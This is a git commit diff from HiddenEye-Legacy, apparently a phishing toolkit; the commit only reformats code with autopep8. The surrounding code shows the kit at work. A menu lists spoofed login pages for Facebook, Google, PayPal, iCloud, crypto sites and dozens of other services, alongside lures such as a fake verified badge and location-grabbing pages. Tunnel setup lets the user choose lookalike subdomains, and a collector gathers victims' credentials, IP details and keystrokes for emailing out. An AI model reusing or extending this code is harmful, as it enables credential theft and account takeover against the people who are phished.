mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
Restyled by autopep8
This commit is contained in:
parent
a6e47dd442
commit
845e57eaef
|
@ -192,7 +192,8 @@ def start_serveo(port):
|
|||
except CalledProcessError:
|
||||
print(localization.lang_start_serveo["failed_to_get_domain"])
|
||||
print(localization.lang_start_serveo["suggestion_to_fix_issue"])
|
||||
print(localization.lang_start_serveo["you_can_try_to_select_other_domain"])
|
||||
print(
|
||||
localization.lang_start_serveo["you_can_try_to_select_other_domain"])
|
||||
wait(4)
|
||||
run_command('clear')
|
||||
return custom(port)
|
||||
|
@ -240,6 +241,7 @@ def start_localxpose(port):
|
|||
with ZipFile(BytesIO(loclxzip.read())) as zip_file:
|
||||
zip_file.extractall("External_Software")
|
||||
chmod('External_Software/loclx', 0o777)
|
||||
|
||||
def random(port):
|
||||
run_command('clear')
|
||||
print(global_localization.hidden_eye_logo)
|
||||
|
@ -247,7 +249,8 @@ def start_localxpose(port):
|
|||
print(global_localization.by_darksec)
|
||||
print(global_localization.line_of_dots)
|
||||
print(localization.lang_start_localxpose["localxpose_random_server"])
|
||||
run_command(['External_Software/loclx', 'tunnel', 'http', '--to', ':{0}'.format(port), '>', 'link.url'], stdout=DEVNULL, stderr=DEVNULL)
|
||||
run_command(['External_Software/loclx', 'tunnel', 'http', '--to',
|
||||
':{0}'.format(port), '>', 'link.url'], stdout=DEVNULL, stderr=DEVNULL)
|
||||
try:
|
||||
output = check_output(
|
||||
"grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True)
|
||||
|
@ -272,11 +275,14 @@ def start_localxpose(port):
|
|||
{0}http://github.com/darksecdevelopers
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for Localxpose(Ex: mysubdomain)'''.format(
|
||||
default_palette[0], default_palette[2]))
|
||||
lnk = input("\n{0}CUSTOM Subdomain>>> {1}".format(default_palette[0], default_palette[2]))
|
||||
run_command('./Server/loclx tunnel http --to :%s --subdomain %s > link.url 2> /dev/null &' % (port, lnk))
|
||||
lnk = input("\n{0}CUSTOM Subdomain>>> {1}".format(
|
||||
default_palette[0], default_palette[2]))
|
||||
run_command(
|
||||
'./Server/loclx tunnel http --to :%s --subdomain %s > link.url 2> /dev/null &' % (port, lnk))
|
||||
wait(7)
|
||||
try:
|
||||
output = check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True)
|
||||
output = check_output(
|
||||
"grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True)
|
||||
url = output.decode("utf-8")
|
||||
run_command('clear')
|
||||
print('''
|
||||
|
@ -312,7 +318,8 @@ def start_localxpose(port):
|
|||
print(
|
||||
"\n{0}[{1}1{0}]{1}Custom URL {0}(Generates designed url) \n{0}[{1}2{0}]{1}Random URL {0}(Generates Random url)".format(
|
||||
default_palette[0], default_palette[2]))
|
||||
choice = input("\n\n{0}YOUR CHOICE >>> {1}".format(default_palette[0], default_palette[2]))
|
||||
choice = input("\n\n{0}YOUR CHOICE >>> {1}".format(
|
||||
default_palette[0], default_palette[2]))
|
||||
run_command('clear')
|
||||
if choice == '1':
|
||||
|
||||
|
@ -338,7 +345,8 @@ def start_localtunnel(port, npm):
|
|||
default_palette[2]))
|
||||
print("\n{0}[{1}+{0}]{1}Type Subdomain for Custom URL. \n{0}[{1}+{0}]{1}Leave Empty For Random URL".format(
|
||||
default_palette[0], default_palette[2]))
|
||||
s = input('\n{0}(Localtunnel/Subdomain)> {1}'.format(default_palette[0], default_palette[2]))
|
||||
s = input(
|
||||
'\n{0}(Localtunnel/Subdomain)> {1}'.format(default_palette[0], default_palette[2]))
|
||||
try:
|
||||
run_command('{0}lt -p '.format('' if npm else 'Server/') +
|
||||
port + ((' -s ' + s) if s != '' else s) + ' > link.url &')
|
||||
|
@ -376,7 +384,8 @@ def start_openport(port):
|
|||
run_command('openport -K && openport %s > output.txt &' % (port))
|
||||
print('{0}[{1}*{0}] {1}Openport Server Running in Background.. Please wait.'.format(default_palette[0],
|
||||
default_palette[4]))
|
||||
wait(20) # Sleep time is important as the openport command takes some time to give response link.
|
||||
# Sleep time is important as the openport command takes some time to give response link.
|
||||
wait(20)
|
||||
run_command(
|
||||
'cat output.txt | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort -u | grep -v https://openport.io/user > openport.txt') # Taking out the neccesary verification link from output txt file of openport (above).
|
||||
print('{0}[{1}*{0}] {1}Working To Get OpenPort Tunnel Activation Link...'.format(default_palette[0],
|
||||
|
@ -384,13 +393,15 @@ def start_openport(port):
|
|||
with open('openport.txt') as f:
|
||||
read_data = f.read()
|
||||
if 'openport.io/l/' in read_data:
|
||||
print('{0}[{1}*{0}] {1}Got Activation Link...'.format(default_palette[0], default_palette[4]))
|
||||
print(
|
||||
'{0}[{1}*{0}] {1}Got Activation Link...'.format(default_palette[0], default_palette[4]))
|
||||
else:
|
||||
print('{0}[{1}^{0}] {1}Failed To Get Openport Activation Link... '.format(default_palette[0],
|
||||
default_palette[4]))
|
||||
output = open('output.txt', 'r')
|
||||
output = output.read()
|
||||
print('{0}[{1}!{0}] {1}Openport Error:\n\n{2}'.format(default_palette[0], default_palette[4], output))
|
||||
print('{0}[{1}!{0}] {1}Openport Error:\n\n{2}'.format(
|
||||
default_palette[0], default_palette[4], output))
|
||||
input('\n\n{0}[{1}*{0}] {1}Try Other Tunnels... (Press Enter)'.format(default_palette[0],
|
||||
default_palette[4]))
|
||||
server_selection(port)
|
||||
|
@ -472,7 +483,8 @@ def start_pagekite(port):
|
|||
default_palette[0], default_palette[4]))
|
||||
input("\n{0}[{1}*{0}] {0}Press Enter To Launch The Pagekite...{1}".format(default_palette[0],
|
||||
default_palette[4]))
|
||||
run_command('python2 Server/pagekite.py --clean --signup {0} {1}.pagekite.me'.format(port, subdomain))
|
||||
run_command(
|
||||
'python2 Server/pagekite.py --clean --signup {0} {1}.pagekite.me'.format(port, subdomain))
|
||||
except KeyboardInterrupt:
|
||||
print('[!] Please Copy the Generated Link For Further Use')
|
||||
credentials_collector(port)
|
||||
|
|
|
@ -16,6 +16,7 @@ import time
|
|||
|
||||
module_loading_message = simple_informant.module_loading_message
|
||||
|
||||
|
||||
def start_main_menu():
|
||||
run_command('clear')
|
||||
print(global_localization.hidden_eye_logo)
|
||||
|
@ -25,22 +26,26 @@ def start_main_menu():
|
|||
print(localization.lang_start_main_menu["down_line"])
|
||||
print(localization.lang_start_main_menu["attack_vector_message"])
|
||||
print(localization.lang_start_main_menu["phishing_modules_header"])
|
||||
print_sorted_as_menu(localization.lang_start_main_menu["phishing_modules_list"])
|
||||
print_sorted_as_menu(
|
||||
localization.lang_start_main_menu["phishing_modules_list"])
|
||||
print(localization.lang_start_main_menu["additional_modules"])
|
||||
print_sorted_as_menu(localization.lang_start_main_menu["additional_modules_list"])
|
||||
print_sorted_as_menu(
|
||||
localization.lang_start_main_menu["additional_modules_list"])
|
||||
|
||||
option = input(global_localization.input_line)
|
||||
option = option.zfill(2)
|
||||
if option == '01':
|
||||
module_loading_message('Facebook')
|
||||
print(localization.lang_start_main_menu["operation_mode"])
|
||||
print_sorted_as_menu(localization.lang_start_main_menu["facebook_operation_modes"])
|
||||
print_sorted_as_menu(
|
||||
localization.lang_start_main_menu["facebook_operation_modes"])
|
||||
customOption = input(global_localization.input_line)
|
||||
start_phishing_page('Facebook', customOption)
|
||||
elif option == '02':
|
||||
module_loading_message('Google')
|
||||
print(localization.lang_start_main_menu["operation_mode"])
|
||||
print_sorted_as_menu(localization.lang_start_main_menu["google_operation_modes"])
|
||||
print_sorted_as_menu(
|
||||
localization.lang_start_main_menu["google_operation_modes"])
|
||||
customOption = input(global_localization.input_line)
|
||||
start_phishing_page('Google', customOption)
|
||||
elif option == '03':
|
||||
|
@ -66,7 +71,8 @@ def start_main_menu():
|
|||
elif option == '08':
|
||||
module_loading_message('Instagram')
|
||||
print(localization.lang_start_main_menu["operation_mode"])
|
||||
print_sorted_as_menu(localization.lang_start_main_menu["instagram_operation_modes"])
|
||||
print_sorted_as_menu(
|
||||
localization.lang_start_main_menu["instagram_operation_modes"])
|
||||
customOption = input(global_localization.input_line)
|
||||
start_phishing_page('Instagram', customOption)
|
||||
elif option == '09':
|
||||
|
@ -92,7 +98,8 @@ def start_main_menu():
|
|||
elif option == '14':
|
||||
module_loading_message('VK')
|
||||
print(localization.lang_start_main_menu["operation_mode"])
|
||||
print_sorted_as_menu(localization.lang_start_main_menu["VK_operation_modes"])
|
||||
print_sorted_as_menu(
|
||||
localization.lang_start_main_menu["VK_operation_modes"])
|
||||
customOption = input(global_localization.input_line)
|
||||
start_phishing_page('VK', customOption)
|
||||
elif option == '15':
|
||||
|
@ -178,7 +185,8 @@ def start_main_menu():
|
|||
elif option == '35':
|
||||
module_loading_message('Reddit')
|
||||
print(localization.lang_start_main_menu["operation_mode"])
|
||||
print_sorted_as_menu(localization.lang_start_main_menu["reddit_operation_modes"])
|
||||
print_sorted_as_menu(
|
||||
localization.lang_start_main_menu["reddit_operation_modes"])
|
||||
customOption = input(global_localization.input_line)
|
||||
start_phishing_page('Reddit', customOption)
|
||||
elif option == '36':
|
||||
|
@ -202,13 +210,13 @@ def start_main_menu():
|
|||
customOption = ''
|
||||
start_phishing_page('CUSTOM(2)', customOption)
|
||||
|
||||
|
||||
'''PHISHING MODULES BELOW'''
|
||||
|
||||
elif option == '0A':
|
||||
module_loading_message('LOCATION')
|
||||
print(localization.lang_start_main_menu["operation_mode"])
|
||||
print_sorted_as_menu(localization.lang_start_main_menu["additional_module_location_operation_modes"])
|
||||
print_sorted_as_menu(
|
||||
localization.lang_start_main_menu["additional_module_location_operation_modes"])
|
||||
customOption = input(global_localization.input_line)
|
||||
start_phishing_page('LOCATION', customOption)
|
||||
|
||||
|
@ -231,7 +239,6 @@ def start_phishing_page(page, custom_option): # Phishing pages selection menu
|
|||
except:
|
||||
pass
|
||||
|
||||
|
||||
if custom_option == '1' and page == 'Facebook':
|
||||
webpage_set("WebPages/fb_standard/", "Server/www/")
|
||||
elif custom_option == '2' and page == 'Facebook':
|
||||
|
@ -331,16 +338,22 @@ def start_phishing_page(page, custom_option): # Phishing pages selection menu
|
|||
elif page == 'Xbox':
|
||||
webpage_set('WebPages/xbox/', "Server/www/")
|
||||
elif page == 'CUSTOM(1)':
|
||||
print(localization.lang_start_phishing_page["custom_folder_directory"].format(page = page))
|
||||
print(localization.lang_start_phishing_page["manual_reading_suggestion"].format(page = page))
|
||||
input(localization.lang_start_phishing_page["press_enter_to_continue_if_setup_correctly"])
|
||||
print(localization.lang_start_phishing_page["custom_folder_directory"].format(
|
||||
page=page))
|
||||
print(localization.lang_start_phishing_page["manual_reading_suggestion"].format(
|
||||
page=page))
|
||||
input(
|
||||
localization.lang_start_phishing_page["press_enter_to_continue_if_setup_correctly"])
|
||||
print(localization.lang_start_phishing_page["copying_your_files"])
|
||||
wait(3)
|
||||
webpage_set('WebPages/CUSTOM(1)/', "Server/www/")
|
||||
elif page == 'CUSTOM(2)':
|
||||
print(localization.lang_start_phishing_page["custom_folder_directory"].format(page = page))
|
||||
print(localization.lang_start_phishing_page["manual_reading_suggestion"].format(page = page))
|
||||
input(localization.lang_start_phishing_page["press_enter_to_continue_if_setup_correctly"])
|
||||
print(localization.lang_start_phishing_page["custom_folder_directory"].format(
|
||||
page=page))
|
||||
print(localization.lang_start_phishing_page["manual_reading_suggestion"].format(
|
||||
page=page))
|
||||
input(
|
||||
localization.lang_start_phishing_page["press_enter_to_continue_if_setup_correctly"])
|
||||
print(localization.lang_start_phishing_page["copying_your_files"])
|
||||
wait(3)
|
||||
webpage_set('WebPages/CUSTOM(2)/', "Server/www/")
|
||||
|
@ -350,13 +363,15 @@ def start_phishing_page(page, custom_option): # Phishing pages selection menu
|
|||
wait(3)
|
||||
webpage_set('WebPages/TOOLS/nearyou', "Server/www/")
|
||||
print(localization.lang_start_phishing_page["https_suggestion"])
|
||||
input(localization.lang_start_phishing_page["press_enter_to_continue_if_setup_correctly"])
|
||||
input(
|
||||
localization.lang_start_phishing_page["press_enter_to_continue_if_setup_correctly"])
|
||||
elif custom_option == '2' and page == 'LOCATION':
|
||||
wait(3)
|
||||
webpage_set('WebPages/TOOLS/gdrive', "Server/www/")
|
||||
print(localization.lang_start_phishing_page["https_suggestion"])
|
||||
print(localization.lang_start_phishing_page["gdrive_suggestion"])
|
||||
input(localization.lang_start_phishing_page["press_enter_to_continue_if_setup_correctly"])
|
||||
input(
|
||||
localization.lang_start_phishing_page["press_enter_to_continue_if_setup_correctly"])
|
||||
|
||||
else:
|
||||
run_command('clear')
|
||||
|
@ -364,20 +379,25 @@ def start_phishing_page(page, custom_option): # Phishing pages selection menu
|
|||
time.sleep(1)
|
||||
start_main_menu()
|
||||
|
||||
|
||||
def enter_custom_redirecting_url(): # Question where user can input custom web-link
|
||||
run_command('clear')
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(localization.lang_enter_custom_redirecting_url["enter_redirecting_url_header"])
|
||||
print(localization.lang_enter_custom_redirecting_url["enter_redirecting_url_prompt"])
|
||||
custom = input(localization.lang_enter_custom_redirecting_url["redirect_here"])
|
||||
print(
|
||||
localization.lang_enter_custom_redirecting_url["enter_redirecting_url_header"])
|
||||
print(
|
||||
localization.lang_enter_custom_redirecting_url["enter_redirecting_url_prompt"])
|
||||
custom = input(
|
||||
localization.lang_enter_custom_redirecting_url["redirect_here"])
|
||||
if 'http://' in custom or 'https://' in custom:
|
||||
pass
|
||||
else:
|
||||
custom = 'http://' + custom
|
||||
|
||||
if path.exists('Server/www/js/location.js'): # For Location (gdrive) Template Redirection.
|
||||
# For Location (gdrive) Template Redirection.
|
||||
if path.exists('Server/www/js/location.js'):
|
||||
with open('Server/www/js/location.js') as f:
|
||||
read_data = f.read()
|
||||
c = read_data.replace('<CUSTOM>', custom)
|
||||
|
@ -413,5 +433,6 @@ def enter_custom_redirecting_url(): # Question where user can input custom web-
|
|||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print("[^] ERROR: Please make sure your folder contains a valid login.php file.")
|
||||
print(
|
||||
"[^] ERROR: Please make sure your folder contains a valid login.php file.")
|
||||
exit()
|
||||
|
|
|
@ -61,10 +61,12 @@ def exit_message(port = 80): # Message when HiddenEye exit
|
|||
run_command('clear')
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(' ' + global_localization.by_darksec)
|
||||
print(' ' + global_localization.official_website_link)
|
||||
print(' ' +
|
||||
global_localization.official_website_link)
|
||||
print(localization.lang_exit_message["help_to_improve_this_tool"])
|
||||
print(localization.lang_exit_message["tell_if_page_got_broken"])
|
||||
print(localization.lang_exit_message["make_your_pull_request_or_issue"])
|
||||
print(
|
||||
localization.lang_exit_message["make_your_pull_request_or_issue"])
|
||||
print(localization.lang_exit_message["small_disclaimer_suggestion"])
|
||||
print(localization.lang_exit_message["forum_suggestion"])
|
||||
print(localization.lang_exit_message["financial_support"])
|
||||
|
@ -73,6 +75,7 @@ def exit_message(port = 80): # Message when HiddenEye exit
|
|||
run_command('clear')
|
||||
return exit_message(port)
|
||||
|
||||
|
||||
def terms_of_service_message():
|
||||
"""Requests user to provide agreement to license provided.
|
||||
|
||||
|
@ -82,12 +85,16 @@ def terms_of_service_message():
|
|||
agreement = license_handler()
|
||||
if not agreement:
|
||||
print(localization.lang_terms_of_service_message["GPL_3.0"])
|
||||
print(localization.lang_terms_of_service_message["great_power_great_responsibility"])
|
||||
print(localization.lang_terms_of_service_message["do_you_accept_license"])
|
||||
print(localization.lang_terms_of_service_message["enter_this_to_confirm"])
|
||||
print(
|
||||
localization.lang_terms_of_service_message["great_power_great_responsibility"])
|
||||
print(
|
||||
localization.lang_terms_of_service_message["do_you_accept_license"])
|
||||
print(
|
||||
localization.lang_terms_of_service_message["enter_this_to_confirm"])
|
||||
agreement = input(global_localization.input_line)
|
||||
if localization.text_to_confirm_license not in agreement:
|
||||
print(localization.lang_terms_of_service_message["you_are_not_allowed"])
|
||||
print(
|
||||
localization.lang_terms_of_service_message["you_are_not_allowed"])
|
||||
exit()
|
||||
else:
|
||||
eula = open('eula.txt', 'w')
|
||||
|
@ -97,6 +104,7 @@ def terms_of_service_message():
|
|||
else:
|
||||
return True
|
||||
|
||||
|
||||
def module_loading_message(option_name): # This one just show text..
|
||||
"""Prints "Select any mode" message. """
|
||||
print(option_name + localization.lang_module_loading_message["is_loaded"])
|
||||
|
@ -110,14 +118,18 @@ def credentials_collector():
|
|||
with open('Server/www/usernames.txt') as creds:
|
||||
lines = creds.read().rstrip()
|
||||
if len(lines) != 0:
|
||||
log_writer(localization.lang_credentials_collector["credentials_found"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines))
|
||||
pathlib_Path("Server/CapturedData/usernames.txt").touch(mode=0o777, exist_ok=True)
|
||||
captured_usernames = open('Server/CapturedData/usernames.txt', 'a')
|
||||
log_writer(localization.lang_credentials_collector["credentials_found"] + "{0}{2}{1}".format(
|
||||
default_palette[2], default_palette[3], lines))
|
||||
pathlib_Path(
|
||||
"Server/CapturedData/usernames.txt").touch(mode=0o777, exist_ok=True)
|
||||
captured_usernames = open(
|
||||
'Server/CapturedData/usernames.txt', 'a')
|
||||
new_usernames = open('Server/www/usernames.txt')
|
||||
captured_usernames.write(new_usernames.read())
|
||||
new_usernames.close()
|
||||
captured_usernames.close()
|
||||
copyfile('Server/CapturedData/usernames.txt', 'Defs/FeatureManager/EmailManager/attachments/usernames.txt')
|
||||
copyfile('Server/CapturedData/usernames.txt',
|
||||
'Defs/FeatureManager/EmailManager/attachments/usernames.txt')
|
||||
|
||||
new_usernames = open('Server/www/usernames.txt', 'w')
|
||||
new_usernames.write('')
|
||||
|
@ -126,33 +138,39 @@ def credentials_collector():
|
|||
with open('Server/www/ip.txt') as creds:
|
||||
lines = creds.read().rstrip()
|
||||
if len(lines) != 0:
|
||||
log_writer(localization.lang_credentials_collector["device_details_found"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines))
|
||||
pathlib_Path("Server/CapturedData/ip.txt").touch(mode=0o777, exist_ok=True)
|
||||
log_writer(localization.lang_credentials_collector["device_details_found"] + "{0}{2}{1}".format(
|
||||
default_palette[2], default_palette[3], lines))
|
||||
pathlib_Path(
|
||||
"Server/CapturedData/ip.txt").touch(mode=0o777, exist_ok=True)
|
||||
captured_ips = open('Server/CapturedData/ip.txt', 'a')
|
||||
new_ips = open('Server/www/ip.txt')
|
||||
captured_ips.write(new_ips.read())
|
||||
new_ips.close()
|
||||
captured_ips.close()
|
||||
copyfile('Server/CapturedData/ip.txt', 'Defs/FeatureManager/EmailManager/attachments/ip.txt')
|
||||
copyfile('Server/CapturedData/ip.txt',
|
||||
'Defs/FeatureManager/EmailManager/attachments/ip.txt')
|
||||
new_ips = open('Server/www/ip.txt', 'w')
|
||||
new_ips.write('')
|
||||
new_ips.close()
|
||||
|
||||
|
||||
creds.close()
|
||||
|
||||
with open('Server/www/KeyloggerData.txt') as creds:
|
||||
lines = creds.read().rstrip()
|
||||
if len(lines) != 0:
|
||||
log_writer(global_localization.line_of_dots)
|
||||
log_writer(localization.lang_credentials_collector["getting_pressed_keys"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines))
|
||||
pathlib_Path('Server/CapturedData/KeyloggerData.txt').touch(mode=0o777, exist_ok=True)
|
||||
captured_keys = open('Server/CapturedData/KeyloggerData.txt', 'a')
|
||||
log_writer(localization.lang_credentials_collector["getting_pressed_keys"] + "{0}{2}{1}".format(
|
||||
default_palette[2], default_palette[3], lines))
|
||||
pathlib_Path(
|
||||
'Server/CapturedData/KeyloggerData.txt').touch(mode=0o777, exist_ok=True)
|
||||
captured_keys = open(
|
||||
'Server/CapturedData/KeyloggerData.txt', 'a')
|
||||
new_keys = open('Server/www/KeyloggerData.txt')
|
||||
captured_keys.write(new_keys.read())
|
||||
new_keys.close()
|
||||
captured_keys.close()
|
||||
copyfile('Server/CapturedData/KeyloggerData.txt', 'Defs/FeatureManager/EmailManager/attachments/KeyloggerData.txt')
|
||||
copyfile('Server/CapturedData/KeyloggerData.txt',
|
||||
'Defs/FeatureManager/EmailManager/attachments/KeyloggerData.txt')
|
||||
new_keys = open('Server/www/KeyloggerData.txt', 'w')
|
||||
new_keys.write('')
|
||||
new_keys.close()
|
||||
|
@ -161,6 +179,7 @@ def credentials_collector():
|
|||
|
||||
creds.close()
|
||||
|
||||
|
||||
def log_writer(ctx): # Writing log
|
||||
"""I have no idea what it does, someone does, so if you are reading this - explain wtf is this method...
|
||||
|
||||
|
@ -168,9 +187,11 @@ def log_writer(ctx): # Writing log
|
|||
ctx ([type]): [description]
|
||||
"""
|
||||
logFile = open("log.txt", "w")
|
||||
logFile.write(ctx.replace(default_palette[0], "").replace(default_palette[1], "").replace(default_palette[2], "").replace(default_palette[3], "").replace(default_palette[4], "") + "\n")
|
||||
logFile.write(ctx.replace(default_palette[0], "").replace(default_palette[1], "").replace(
|
||||
default_palette[2], "").replace(default_palette[3], "").replace(default_palette[4], "") + "\n")
|
||||
print(ctx)
|
||||
|
||||
|
||||
def port_selector(): # Requests port input from user
|
||||
"""Asks user to input number between 1 and 65535.
|
||||
|
||||
|
@ -194,6 +215,7 @@ def port_selector(): # Requests port input from user
|
|||
except:
|
||||
return port_selector()
|
||||
|
||||
|
||||
def remove_readonly(func, path, _):
|
||||
"""Removes read-only state of file (IDK why it exists but it does already, so...)
|
||||
|
||||
|
@ -227,6 +249,7 @@ def verify_connection(host='https://dark-sec-official.com'): # Connection check
|
|||
print(localization.lang_verify_connection["verify_your_connection"])
|
||||
exit()
|
||||
|
||||
|
||||
def check_permissions():
|
||||
if check_platform("system") == "Linux":
|
||||
if getuid() == 0:
|
||||
|
@ -235,6 +258,7 @@ def check_permissions():
|
|||
print(localization.lang_check_permissions["permissions_denied"])
|
||||
exit()
|
||||
|
||||
|
||||
def check_php():
|
||||
try:
|
||||
try_to_run_command(['php', '-v'])
|
||||
|
@ -243,6 +267,7 @@ def check_php():
|
|||
print(localization.lang_check_php["not-found"])
|
||||
exit()
|
||||
|
||||
|
||||
def check_platform(required_data):
|
||||
"""Checks system for specific platform related data and returns requested value.
|
||||
|
||||
|
|
|
@ -14,7 +14,10 @@ from shutil import rmtree, copyfile
|
|||
from pathlib import Path as pathlib_Path
|
||||
from pyngrok import conf as ngrok_conf, ngrok
|
||||
import re as regular_expression
|
||||
import getpass, base64, socket, requests
|
||||
import getpass
|
||||
import base64
|
||||
import socket
|
||||
import requests
|
||||
import platform
|
||||
import requests
|
||||
from urllib import request as url_request
|
||||
|
|
|
@ -13,11 +13,14 @@ from Defs.LocalizationManager.localization import _
|
|||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
|
||||
def check_version(): # WILL BE MOVED FROM HERE
|
||||
with open('version.txt') as f: # THIS WILL BE MOVED TOO
|
||||
# ver_current = f.read() # DONT REMOVE THESE COMMENTS
|
||||
# version = ver_current.strip() # TO-DO
|
||||
return f.read().strip()
|
||||
|
||||
|
||||
version = check_version()
|
||||
|
||||
lang_start_main_menu = {
|
||||
|
@ -29,16 +32,26 @@ lang_start_main_menu = {
|
|||
"phishing_modules_header": _("\n{0}PHISHING-MODULES:").format(default_palette[0]),
|
||||
"phishing_modules_list":
|
||||
[['{0}[{1}01{0}]{1} Facebook', '{0}[{1}13{0}]{1} Steam', '{0}[{1}25{0}]{1} Badoo', '{0}[{1}37{0}]{1} PlayStation'],
|
||||
['{0}[{1}02{0}]{1} Google', '{0}[{1}14{0}]{1} VK', '{0}[{1}26{0}]{1} CryptoCurrency', '{0}[{1}38{0}]{1} Xbox'],
|
||||
['{0}[{1}03{0}]{1} LinkedIn', '{0}[{1}15{0}]{1} iCloud', '{0}[{1}27{0}]{1} DevianArt', '{0}[{1}39{0}]{1} CUSTOM(1)'],
|
||||
['{0}[{1}04{0}]{1} GitHub', '{0}[{1}16{0}]{1} GitLab', '{0}[{1}28{0}]{1} DropBox', '{0}[{1}40{0}]{1} CUSTOM(2)'],
|
||||
['{0}[{1}05{0}]{1} StackOverflow', '{0}[{1}17{0}]{1} Netflix', '{0}[{1}29{0}]{1} eBay'],
|
||||
['{0}[{1}06{0}]{1} WordPress', '{0}[{1}18{0}]{1} Origin', '{0}[{1}30{0}]{1} MySpace'],
|
||||
['{0}[{1}07{0}]{1} Twitter', '{0}[{1}19{0}]{1} Pinterest', '{0}[{1}31{0}]{1} PayPal'],
|
||||
['{0}[{1}08{0}]{1} Instagram', '{0}[{1}20{0}]{1} ProtonMail', '{0}[{1}32{0}]{1} Shopify'],
|
||||
['{0}[{1}09{0}]{1} Snapchat', '{0}[{1}21{0}]{1} Spotify', '{0}[{1}33{0}]{1} Verizon'],
|
||||
['{0}[{1}10{0}]{1} Yahoo', '{0}[{1}22{0}]{1} Quora', '{0}[{1}34{0}]{1} Yandex'],
|
||||
['{0}[{1}11{0}]{1} Twitch', '{0}[{1}23{0}]{1} PornHub', '{0}[{1}35{0}]{1} Reddit'],
|
||||
['{0}[{1}02{0}]{1} Google', '{0}[{1}14{0}]{1} VK',
|
||||
'{0}[{1}26{0}]{1} CryptoCurrency', '{0}[{1}38{0}]{1} Xbox'],
|
||||
['{0}[{1}03{0}]{1} LinkedIn', '{0}[{1}15{0}]{1} iCloud',
|
||||
'{0}[{1}27{0}]{1} DevianArt', '{0}[{1}39{0}]{1} CUSTOM(1)'],
|
||||
['{0}[{1}04{0}]{1} GitHub', '{0}[{1}16{0}]{1} GitLab',
|
||||
'{0}[{1}28{0}]{1} DropBox', '{0}[{1}40{0}]{1} CUSTOM(2)'],
|
||||
['{0}[{1}05{0}]{1} StackOverflow',
|
||||
'{0}[{1}17{0}]{1} Netflix', '{0}[{1}29{0}]{1} eBay'],
|
||||
['{0}[{1}06{0}]{1} WordPress', '{0}[{1}18{0}]{1} Origin',
|
||||
'{0}[{1}30{0}]{1} MySpace'],
|
||||
['{0}[{1}07{0}]{1} Twitter', '{0}[{1}19{0}]{1} Pinterest',
|
||||
'{0}[{1}31{0}]{1} PayPal'],
|
||||
['{0}[{1}08{0}]{1} Instagram',
|
||||
'{0}[{1}20{0}]{1} ProtonMail', '{0}[{1}32{0}]{1} Shopify'],
|
||||
['{0}[{1}09{0}]{1} Snapchat', '{0}[{1}21{0}]{1} Spotify',
|
||||
'{0}[{1}33{0}]{1} Verizon'],
|
||||
['{0}[{1}10{0}]{1} Yahoo', '{0}[{1}22{0}]{1} Quora',
|
||||
'{0}[{1}34{0}]{1} Yandex'],
|
||||
['{0}[{1}11{0}]{1} Twitch', '{0}[{1}23{0}]{1} PornHub',
|
||||
'{0}[{1}35{0}]{1} Reddit'],
|
||||
['{0}[{1}12{0}]{1} Microsoft', '{0}[{1}24{0}]{1} Adobe', '{0}[{1}36{0}]{1} Subito.it']],
|
||||
"additional_modules": _("\n{0}ADDITIONAL-TOOLS:").format(default_palette[0]),
|
||||
"additional_modules_list":
|
||||
|
@ -52,14 +65,17 @@ lang_start_main_menu = {
|
|||
[_('{0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)')]],
|
||||
"instagram_operation_modes":
|
||||
[[_('{0}[{1}1{0}]{1} Standard Instagram Web Page Phishing'), _('{0}[{1}4{0}]{1} Instagram Verified Badge Attack (Lure To Get Blue Badge)')],
|
||||
[_('{0}[{1}2{0}]{1} Instagram Autoliker Phishing (To Lure The Users)'), _('{0}[{1}5{0}]{1} Instafollower (Lure To Get More Followers)')],
|
||||
[_('{0}[{1}2{0}]{1} Instagram Autoliker Phishing (To Lure The Users)'), _(
|
||||
'{0}[{1}5{0}]{1} Instafollower (Lure To Get More Followers)')],
|
||||
[_('{0}[{1}3{0}]{1} Instagram Advanced Scenario (Appears as Instagram Profile)')]],
|
||||
"VK_operation_modes":
|
||||
[ [_('{0}[{1}1{0}]{1} Standard VK Web Page Phishing'), _('{0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)')]],
|
||||
[[_('{0}[{1}1{0}]{1} Standard VK Web Page Phishing'), _(
|
||||
'{0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)')]],
|
||||
"reddit_operation_modes":
|
||||
[[_('{0}[{1}1{0}]{1} New reddit page'), _('{0}[{1}2{0}]{1} Old reddit page')]],
|
||||
"additional_module_location_operation_modes":
|
||||
[ [_('{0}[{1}1{0}]{1} NEAR YOU (Webpage Looks Like Legitimate)'), _('{0}[{1}2{0}]{1} GDRIVE (Asks For Location Permission To redirect GDRIVE)')]]
|
||||
[[_('{0}[{1}1{0}]{1} NEAR YOU (Webpage Looks Like Legitimate)'), _(
|
||||
'{0}[{1}2{0}]{1} GDRIVE (Asks For Location Permission To redirect GDRIVE)')]]
|
||||
|
||||
|
||||
}
|
||||
|
|
|
@ -6,7 +6,6 @@
|
|||
#
|
||||
|
||||
|
||||
|
||||
import Defs.ThemeManager.theme as theme
|
||||
from Defs.LocalizationManager.localization import _
|
||||
|
||||
|
|
|
@ -47,10 +47,12 @@ if __name__ == "__main__":
|
|||
server_runner.start_server(port)
|
||||
server_runner.server_selection(port)
|
||||
|
||||
multiprocessing.Process(target=server_runner.start_server, args=(port,)).start()
|
||||
multiprocessing.Process(
|
||||
target=server_runner.start_server, args=(port,)).start()
|
||||
simple_informant.credentials_collector()
|
||||
|
||||
except KeyboardInterrupt:
|
||||
